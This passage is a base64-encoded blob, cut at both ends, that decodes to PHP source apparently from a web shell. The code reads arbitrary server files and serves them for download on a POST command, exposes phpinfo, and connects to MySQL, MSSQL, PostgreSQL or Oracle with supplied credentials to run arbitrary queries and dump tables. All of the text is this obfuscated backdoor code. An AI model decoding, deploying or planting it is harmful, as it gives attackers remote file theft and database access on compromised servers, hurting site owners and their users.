QppZihAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpJiZAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZjbG9zZScpKXsNCiRmZmlsZSA9IEBmb3BlbigkdGVtcCwiciIpOw0Kd2hpbGUoIUBmZW9mKCRmZmlsZSkpeyRzdHIgLj0gQGZnZXRzKCRmZmlsZSk7fQ0KZmNsb3NlKCRmZmlsZSk7DQp9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZjbG9zZScpJiZAZnVuY3Rpb25fZXhpc3RzKCdmaWxlc2l6ZScpKXsNCiRmZmlsZSA9IEBmb3BlbigkdGVtcCwiciIpOw0KJHN0ciA9IEBmcmVhZCgkZmZpbGUsQGZpbGVzaXplKCR0ZW1wKSk7DQpAZmNsb3NlKCRmZmlsZSk7DQp9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGUnKSl7DQokZmZpbGVzID0gQGZpbGUgKCR0ZW1wKTsNCmZvcmVhY2ggKCRmZmlsZXMgYXMgJGZmaWxlKSB7JHN0ciAuPSAkZmZpbGU7fQ0KfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKXsNCiRzdHIgPSBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOw0KfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdyZWFkZmlsZScpKXsNCiRzdHIgPSBAcmVhZGZpbGUoJHRlbXApOw0KfWVsc2V7ZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXTt9DQpyZXR1cm4gJHN0cjsNCn0NCmZ1bmN0aW9uIHJlYWR6bGliKCRmaWxlbmFtZSwkdGVtcD0nJyl7DQpnbG9iYWwgJGxhbmcsJGxhbmd1YWdlOw0KJHN0cj0nJzsNCmlmKCEkdGVtcCkgeyR0ZW1wPXRlbXBuYW0oQGdldGN3ZCgpLCJjb3B5dGVtcCIpO307DQppZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJGZpbGVuYW1lLCR0ZW1wKSkgew0KJHN0ciA9IG1vcmVyZWFkKCR0ZW1wKTsNCn1lbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExOSddOw0KQHVubGluaygkdGVtcCk7DQpyZXR1cm4gJHN0cjsNCn0NCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQp7DQokaGVhZGVycyAgPSAiRnJvbTogJGZyb21cclxuIjsNCiRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogIi4kYXR0YWNoWyd0eXBlJ107DQokaGVhZGVycyAuPSAiOyBuYW1lPVwiIi4kYXR0YWNoWyduYW1lJ10uIlwiXHJcbiI7DQokaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOw0KJGhlYWRlcnMgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkYXR0YWNoWydjb250ZW50J10pKS4iXHJcbiI7DQppZihtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHtyZXR1cm4gMTt9DQpyZXR1cm4gMDsNCn0NCmNsYXNzIG15X3NxbA0Kew0KdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7DQp2YXIgJHBvcnQgPSAnJzsNCnZhciAkdXNlciA9ICcnOw0KdmFyICRwYXNzID0gJyc7DQp2YXIgJGJhc2UgPSAnJzsNCnZhciAkZGIgICA9ICcnOw0KdmFyICRjb25uZWN0aW9uOw0KdmFyICRyZXM7DQp2YXIgJGVycm9yOw0KdmFyICRyb3dzOw0KdmFyICRjb2x1bW5zOw0KdmFyICRudW1fcm93czsNCnZhciAkbnVtX2ZpZWxkczsNCnZhciAkZHVtcDsNCmZ1bmN0aW9uIGNvbm5lY3QoKQ0Kew0Kc3dpdGNoKCR0aGlzLT5kYikNCnsNCmNhc2UgJ015U1FMJzogDQppZihlbXB0eSgkdGhpcy0+cG9ydCkpIHskdGhpcy0+cG9ydCA9ICczMzA2Jzt9DQppZighQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiR0aGlzLT5jb25uZWN0aW9uID0gQG15c3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCmlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQpicmVhazsNCmNhc2UgJ01TU1FMJzoNCmlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyR0aGlzLT5wb3J0ID0gJzE0MzMnO30NCmlmKCFAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHJldHVybiAwOw0KJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOw0KYnJlYWs7DQpjYXNlICdQb3N0Z3JlU1FMJzoNCmlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyR0aGlzLT5wb3J0ID0gJzU0MzInO30NCiRzdHIgPSAiaG9zdD0nIi4kdGhpcy0+aG9zdC4iJyBwb3J0PSciLiR0aGlzLT5wb3J0LiInIHVzZXI9JyIuJHRoaXMtPnVzZXIuIicgcGFzc3dvcmQ9JyIuJHRoaXMtPnBhc3MuIicgZGJuYW1lPSciLiR0aGlzLT5iYXNlLiInIjsNCmlmKCFAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOw0KJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsNCmlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQpicmVhazsNCmNhc2UgJ09yYWNsZSc6DQppZighQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7DQokdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwkdGhpcy0+cGFzcywkdGhpcy0+YmFzZSk7DQppZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KYnJlYWs7DQp9DQpyZXR1cm4gMDsNCn0NCmZ1bmN0aW9uIHNlbGVjdF9kYigpDQp7DQpzd2l0Y2goJHRoaXMtPmRiKQ0Kew0KY2FzZSAnTXlTUUwnOg0KaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQppZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KcmV0dXJuIDE7DQpicmVhazsNCmNhc2UgJ09yYWNsZSc6DQpyZXR1cm4gMTsNCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlvbiBxdWVyeSgkcXVlcnkpDQp7DQokdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsNCnN3aXRjaCgkdGhpcy0+ZGIpDQp7DQpjYXNlICdNeVNRTCc6IA0KaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxfcXVlcnkoJy8qJy5jaHIoMCkuJyovJy4kcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkgDQp7DQokdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOw0KcmV0dXJuIDA7DQp9DQplbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7cmV0dXJuIDE7fQ0KcmV0dXJuIDI7DQpicmVhazsNCmNhc2UgJ01TU1FMJzoNCmlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKSANCnsNCiR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7DQpyZXR1cm4gMDsNCn0NCmVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4wKSB7cmV0dXJuIDE7fQ0KcmV0dXJuIDI7DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpDQp7DQokdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQpyZXR1cm4gMDsNCn0NCmVsc2UgaWYoQHBnX251bV9yb3dzKCR0aGlzLT5yZXMpID4wKSB7cmV0dXJuIDE7fQ0KcmV0dXJuIDI7DQpicmVhazsNCmNhc2UgJ09yYWNsZSc6DQppZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCnsNCiR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7DQp9DQplbHNlIA0Kew0KaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpIA0Kew0KaWYoQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpICE9IDApIHJldHVybiAyOw0KcmV0dXJuIDE7DQp9DQokZXJyb3IgPSBAb2NpZXJyb3IoKTsNCiR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsNCn0NCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlvbiBnZXRfcmVzdWx0KCkNCnsNCiR0aGlzLT5yb3dzPWFycmF5KCk7DQokdGhpcy0+Y29sdW1ucz1hcnJheSgpOw0KJHRoaXMtPm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQpzd2l0Y2goJHRoaXMtPmRiKQ0Kew0KY2FzZSAnTXlTUUwnOg0KJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsNCiR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0Kd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG15c3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQpAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQppZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pO3JldHVybiAxO30NCmJyZWFrOw0KY2FzZSAnTVNTUUwnOg0KJHRoaXMtPm51bV9yb3dzPUBtc3NxbF9udW1fcm93cygkdGhpcy0+cmVzKTsNCiR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0Kd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQpAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQppZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pO3JldHVybiAxO307DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KJHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTsNCiR0aGlzLT5udW1fZmllbGRzPUBwZ19udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0Kd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQpAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQppZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pO3JldHVybiAxO30NCmJyZWFrOw0KY2FzZSAnT3JhY2xlJzoNCiR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpOw0Kd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOw0KQG9jaWZyZWVzdGF0ZW1lbnQoJHRoaXMtPnJlcyk7DQppZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pO3JldHVybiAxO30NCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlvbiBkdW1wKCR0YWJsZSkNCnsNCmlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KJHRoaXMtPmR1bXA9YXJyYXkoKTsNCiR0aGlzLT5kdW1wWzBdID0gJyMjJzsNCiR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQokdGhpcy0+ZHVtcFszXSA9ICcjIyBEYXRhYmFzZTogJy4kdGhpcy0+YmFzZTsNCiR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsNCiR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0Kc3dpdGNoKCR0aGlzLT5kYikNCnsNCmNhc2UgJ015U1FMJzoNCiR0aGlzLT5kdW1wWzBdID0gJyMjIE15U1FMIGR1bXAnOw0KaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQppZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQokdGhpcy0+ZHVtcFtdID0gJHRoaXMtPnJvd3NbMF1bJ0NyZWF0ZSBUYWJsZSddOw0KJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCmlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4nKi8gU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQppZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQpmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCnsNCmZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQokdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoYCcuQGltcGxvZGUoImAsIGAiLCR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KfQ0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQokdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsNCmlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQp7DQpmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQp9DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KJHRoaXMtPmR1bXBbMF0gPSAnIyMgUG9zdGdyZVNRTCBkdW1wJzsNCmlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQp7DQpmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQp9DQpicmVhazsNCmNhc2UgJ09yYWNsZSc6DQokdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7DQokdGhpcy0+ZHVtcFtdICA9ICcjIyB1bmRlciBjb25zdHJ1Y3Rpb24nOw0KYnJlYWs7DQpkZWZhdWx0Og0KcmV0dXJuIDA7DQpicmVhazsNCn0NCnJldHVybiAxOw0KfQ0KZnVuY3Rpb24gY2xvc2UoKQ0Kew0Kc3dpdGNoKCR0aGlzLT5kYikNCnsNCmNhc2UgJ015U1FMJzogDQpAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQpAbXNzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KYnJlYWs7DQpjYXNlICdQb3N0Z3JlU1FMJzoNCkBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQpicmVhazsNCmNhc2UgJ09yYWNsZSc6DQpAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCmJyZWFrOw0KfQ0KfQ0KZnVuY3Rpb24gYWZmZWN0ZWRfcm93cygpDQp7DQpzd2l0Y2goJHRoaXMtPmRiKQ0Kew0KY2FzZSAnTXlTUUwnOg0KcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQpyZXR1cm4gQG1zc3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KcmV0dXJuIEBwZ19hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KYnJlYWs7DQpjYXNlICdPcmFjbGUnOg0KcmV0dXJuIEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKTsNCmJyZWFrOw0KZGVmYXVsdDoNCnJldHVybiAwOw0KYnJlYWs7DQp9DQp9DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYkX1BPU1RbJ2NtZCddPT0iZG93bmxvYWRfZmlsZSImJiFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkNCnsNCmlmKCRmaWxlPUBmb3BlbigkX1BPU1RbJ2RfbmFtZSddLCJyIikpeyRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpO0BmY2xvc2UoJGZpbGUpO30NCmVsc2UgaWYgKCRmaWxlPXJlYWR6bGliKCRfUE9TVFsnZF9uYW1lJ10pKSB7JGZpbGVkdW1wID0gJGZpbGU7fWVsc2Uge2VycigxLCRfUE9TVFsnZF9uYW1lJ10pOyRfUE9TVFsnY21kJ109IiI7fQ0KaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpIA0Kew0KQG9iX2NsZWFuKCk7DQokZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7DQokY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOw0KY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOw0KaWYgKCFlbXB0eSgkY29udGVudF9lbmNvZGluZykpIHtoZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6ICcuJGNvbnRlbnRfZW5jb2RpbmcpO30NCmhlYWRlcigiQ29udGVudC10eXBlOiAiLiRtaW1lX3R5cGUpOw0KaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIjsiKTsNCmVjaG8gJGZpbGVkdW1wOw0KZXhpdCgpOw0KfQ0KfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHtlY2hvIEBwaHBpbmZvKCk7ZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjtkaWUoKTt9DQppZiAoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmJF9QT1NUWydjbWQnXT09ImRiX3F1ZXJ5IikNCnsNCmVjaG8gJGhlYWQ7DQokc3FsID0gbmV3IG15X3NxbCgpOw0KJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOw0KJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KJHNxbC0+YmFzZSA9ICRfUE9TVFsnbXlzcWxfZGInXTsNCiRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsNCmVjaG8gJzxib2R5IGJnY29sb3I9IzAwMDAwMD4nOw0KaWYoISRzcWwtPmNvbm5lY3QoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPkNhbid0IGNvbm5lY3QgdG8gU1FMIHNlcnZlcjwvYj48L2ZvbnQ+PC9kaXY+IjsNCmVsc2UgDQp7DQppZighZW1wdHkoJHNxbC0+YmFzZSkmJiEkc3FsLT5zZWxlY3RfZGIoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPkNhbid0IHNlbGVjdCBkYXRhYmFzZTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmVsc2UNCnsNCmZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIA0Kew0KaWYoc3RybGVuKCRxdWVyeSk+NSkNCnsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvZm9udD48YnI+IjsNCnN3aXRjaCgkc3FsLT5xdWVyeSgkcXVlcnkpKQ0Kew0KY2FzZSAnMCc6DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOw0KYnJlYWs7DQpjYXNlICcxJzogDQppZigkc3FsLT5nZXRfcmVzdWx0KCkpDQp7DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOw0KZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRrPT4kdikgJHNxbC0+Y29sdW1uc1ska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOw0KJGtleXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9iPjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7Iiwkc3FsLT5jb2x1bW5zKTsNCmVjaG8gIjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7DQpmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKQ0Kew0KZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQokdmFsdWVzID0gQGltcGxvZGUoIiZuYnNwOzwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4mbmJzcDsiLCRzcWwtPnJvd3NbJGldKTsNCmVjaG8gJzx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7DQp9DQplY2hvICI8L3RhYmxlPiI7DQp9DQpicmVhazsNCmNhc2UgJzInOg0KJGFyID0gJHNxbC0+YWZmZWN0ZWRfcm93cygpPygkc3FsLT5hZmZlY3RlZF9yb3dzKCkpOignMCcpOw0KZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5hZmZlY3RlZCByb3dzIDogPGI+Ii4kYXIuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQpicmVhazsNCn0NCn0NCn0NCn0NCn0NCmVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCmVjaG8gaW4oJ2hpZGRlbicsJ2RiJywwLCRfUE9TVFsnZGInXSk7DQplY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7DQplY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsNCmVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2wnLDAsJF9QT1NUWydteXNxbF9sJ10pOw0KZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQplY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOw0KZWNobyBpbignaGlkZGVuJywnY21kJywwLCdkYl9xdWVyeScpOw0KZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCmVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0VMRUNUICogRlJPTSB1c2VyOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOw0KZWNobyAiPC9mb3JtPiI7DQplY2hvICI8Y